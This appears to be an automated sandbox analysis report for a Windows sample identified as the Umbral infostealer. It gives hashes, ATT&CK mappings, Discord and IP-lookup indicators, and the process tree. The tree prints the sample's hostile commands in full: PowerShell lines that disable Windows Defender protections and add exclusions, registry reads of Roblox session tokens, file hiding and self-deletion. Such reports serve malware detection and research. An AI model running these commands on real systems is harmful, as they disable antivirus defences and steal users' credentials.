umbral | 886a78f6d4a3bb1667c7d8ba553487a9d42fc38188253d3604cfe5c0743b636b

Analysis

max time kernel
24s
max time network
11s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
20-04-2024 17:18

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General

Target

Auora.exe
Size

231KB
MD5

a96e98be73b7840e10e039d7b3b2a72a
SHA1

bde4c46b9a32ba14aafe652ebe14cb03ba2692a8
SHA256

886a78f6d4a3bb1667c7d8ba553487a9d42fc38188253d3604cfe5c0743b636b
SHA512

c4855010f4b9bf3c0d3f2b78447380d0f85ed440355ed0ed39f10727b44d555f1a7b9ae3a6d241f313d85fa8f052692c20149ecb5b4f6b841291a3f12651ced7
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD4yr5ClW8e1mzi:DoZtL+EP8VCv

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2396-0-0x000002C5B9D40000-0x000002C5B9D80000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Auora.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
5	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3708	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1360	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2396	Auora.exe
2044	powershell.exe
2044	powershell.exe
2304	powershell.exe
2304	powershell.exe
1132	powershell.exe
1132	powershell.exe
560	powershell.exe
560	powershell.exe
3884	powershell.exe
3884	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2396	Auora.exe
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe
Token: 33	1600	wmic.exe
Token: 34	1600	wmic.exe
Token: 35	1600	wmic.exe
Token: 36	1600	wmic.exe
Token: SeIncreaseQuotaPrivilege	1600	wmic.exe
Token: SeSecurityPrivilege	1600	wmic.exe
Token: SeTakeOwnershipPrivilege	1600	wmic.exe
Token: SeLoadDriverPrivilege	1600	wmic.exe
Token: SeSystemProfilePrivilege	1600	wmic.exe
Token: SeSystemtimePrivilege	1600	wmic.exe
Token: SeProfSingleProcessPrivilege	1600	wmic.exe
Token: SeIncBasePriorityPrivilege	1600	wmic.exe
Token: SeCreatePagefilePrivilege	1600	wmic.exe
Token: SeBackupPrivilege	1600	wmic.exe
Token: SeRestorePrivilege	1600	wmic.exe
Token: SeShutdownPrivilege	1600	wmic.exe
Token: SeDebugPrivilege	1600	wmic.exe
Token: SeSystemEnvironmentPrivilege	1600	wmic.exe
Token: SeRemoteShutdownPrivilege	1600	wmic.exe
Token: SeUndockPrivilege	1600	wmic.exe
Token: SeManageVolumePrivilege	1600	wmic.exe
Token: 33	1600	wmic.exe
Token: 34	1600	wmic.exe
Token: 35	1600	wmic.exe
Token: 36	1600	wmic.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeIncreaseQuotaPrivilege	2688	wmic.exe
Token: SeSecurityPrivilege	2688	wmic.exe
Token: SeTakeOwnershipPrivilege	2688	wmic.exe
Token: SeLoadDriverPrivilege	2688	wmic.exe
Token: SeSystemProfilePrivilege	2688	wmic.exe
Token: SeSystemtimePrivilege	2688	wmic.exe
Token: SeProfSingleProcessPrivilege	2688	wmic.exe
Token: SeIncBasePriorityPrivilege	2688	wmic.exe
Token: SeCreatePagefilePrivilege	2688	wmic.exe
Token: SeBackupPrivilege	2688	wmic.exe
Token: SeRestorePrivilege	2688	wmic.exe
Token: SeShutdownPrivilege	2688	wmic.exe
Token: SeDebugPrivilege	2688	wmic.exe
Token: SeSystemEnvironmentPrivilege	2688	wmic.exe
Token: SeRemoteShutdownPrivilege	2688	wmic.exe
Token: SeUndockPrivilege	2688	wmic.exe
Token: SeManageVolumePrivilege	2688	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 1600	2396	Auora.exe	81
PID 2396 wrote to memory of 1600	2396	Auora.exe	81
PID 2396 wrote to memory of 3288	2396	Auora.exe	84
PID 2396 wrote to memory of 3288	2396	Auora.exe	84
PID 2396 wrote to memory of 2044	2396	Auora.exe	86
PID 2396 wrote to memory of 2044	2396	Auora.exe	86
PID 2396 wrote to memory of 2304	2396	Auora.exe	88
PID 2396 wrote to memory of 2304	2396	Auora.exe	88
PID 2396 wrote to memory of 1132	2396	Auora.exe	90
PID 2396 wrote to memory of 1132	2396	Auora.exe	90
PID 2396 wrote to memory of 560	2396	Auora.exe	92
PID 2396 wrote to memory of 560	2396	Auora.exe	92
PID 2396 wrote to memory of 2688	2396	Auora.exe	94
PID 2396 wrote to memory of 2688	2396	Auora.exe	94
PID 2396 wrote to memory of 1472	2396	Auora.exe	96
PID 2396 wrote to memory of 1472	2396	Auora.exe	96
PID 2396 wrote to memory of 4004	2396	Auora.exe	98
PID 2396 wrote to memory of 4004	2396	Auora.exe	98
PID 2396 wrote to memory of 3884	2396	Auora.exe	100
PID 2396 wrote to memory of 3884	2396	Auora.exe	100
PID 2396 wrote to memory of 3708	2396	Auora.exe	102
PID 2396 wrote to memory of 3708	2396	Auora.exe	102
PID 2396 wrote to memory of 3524	2396	Auora.exe	104
PID 2396 wrote to memory of 3524	2396	Auora.exe	104
PID 3524 wrote to memory of 1360	3524	cmd.exe	106
PID 3524 wrote to memory of 1360	3524	cmd.exe	106

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3288	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Auora.exe
"C:\Users\Admin\AppData\Local\Temp\Auora.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Auora.exe"
  2⤵
  - Views/modifies file attributes
  PID:3288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Auora.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:560
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1472
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3884
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3708
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Auora.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1360

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e8eb51096d6f6781456fef7df731d97

SHA1
ec2aaf851a618fb43c3d040a13a71997c25bda43

SHA256
96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

SHA512
0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
45741c307af2576c6437c5fdb24ef9ce

SHA1
a6ba7a7705db14ac29a18a98dd7deb4cc759c3bf

SHA256
7887859f7179e194ff9b78f8d8fa3830790110a01597f21ff48c84cd935e49d2

SHA512
39fdc5931563cbf826e8b643b5f0dcdf45bb6f95a8eeb460499257ca41b3dbee4c692eaacc3fd33bddf4b6ff0c828981ed7e9cd080007bbb9f0b28e7d0d66941

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
00b5dac0faabd946e46411c68c4e4b54

SHA1
ebffe4f7312c6a3ea1a5bfb8e36e3716b73a71de

SHA256
ba0bccd5b683d96eda6d4000424147e0dddaa1e6c87dd65566721f4552397133

SHA512
25a291425f8ac169440d5a6250b2eae67261d599bd35aa3e02c742deed5aedea7d4e88910947116068759e3b8cb5fd82c29b6360d86b663fc536b09bd69ac9c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mwgtstyc.u4c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/560-75-0x00000187D7790000-0x00000187D77A0000-memory.dmp

Filesize
64KB

Download
memory/560-81-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/560-69-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/1132-42-0x0000020FE77F0000-0x0000020FE7800000-memory.dmp

Filesize
64KB

Download
memory/1132-43-0x0000020FE77F0000-0x0000020FE7800000-memory.dmp

Filesize
64KB

Download
memory/1132-41-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/1132-68-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/1132-56-0x0000020FE77F0000-0x0000020FE7800000-memory.dmp

Filesize
64KB

Download
memory/2044-18-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/2044-15-0x0000020E6A940000-0x0000020E6A950000-memory.dmp

Filesize
64KB

Download
memory/2044-13-0x0000020E6A940000-0x0000020E6A950000-memory.dmp

Filesize
64KB

Download
memory/2044-12-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/2044-14-0x0000020E6A940000-0x0000020E6A950000-memory.dmp

Filesize
64KB

Download
memory/2044-8-0x0000020E6A950000-0x0000020E6A972000-memory.dmp

Filesize
136KB

Download
memory/2304-20-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/2304-21-0x00000201CC600000-0x00000201CC610000-memory.dmp

Filesize
64KB

Download
memory/2304-22-0x00000201CC600000-0x00000201CC610000-memory.dmp

Filesize
64KB

Download
memory/2304-32-0x00000201CC600000-0x00000201CC610000-memory.dmp

Filesize
64KB

Download
memory/2304-35-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/2396-39-0x000002C5D4580000-0x000002C5D45D0000-memory.dmp

Filesize
320KB

Download
memory/2396-83-0x000002C5D44E0000-0x000002C5D44EA000-memory.dmp

Filesize
40KB

Download
memory/2396-38-0x000002C5D4500000-0x000002C5D4576000-memory.dmp

Filesize
472KB

Download
memory/2396-1-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/2396-34-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/2396-0-0x000002C5B9D40000-0x000002C5B9D80000-memory.dmp

Filesize
256KB

Download
memory/2396-40-0x000002C5D45D0000-0x000002C5D45EE000-memory.dmp

Filesize
120KB

Download
memory/2396-55-0x000002C5D4370000-0x000002C5D4380000-memory.dmp

Filesize
64KB

Download
memory/2396-84-0x000002C5D4610000-0x000002C5D4622000-memory.dmp

Filesize
72KB

Download
memory/2396-106-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/2396-2-0x000002C5D4370000-0x000002C5D4380000-memory.dmp

Filesize
64KB

Download
memory/3884-97-0x000002DA577C0000-0x000002DA577D0000-memory.dmp

Filesize
64KB

Download
memory/3884-96-0x000002DA577C0000-0x000002DA577D0000-memory.dmp

Filesize
64KB

Download
memory/3884-99-0x000002DA577C0000-0x000002DA577D0000-memory.dmp

Filesize
64KB

Download
memory/3884-101-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download
memory/3884-95-0x00007FF8EE050000-0x00007FF8EEB12000-memory.dmp

Filesize
10.8MB

Download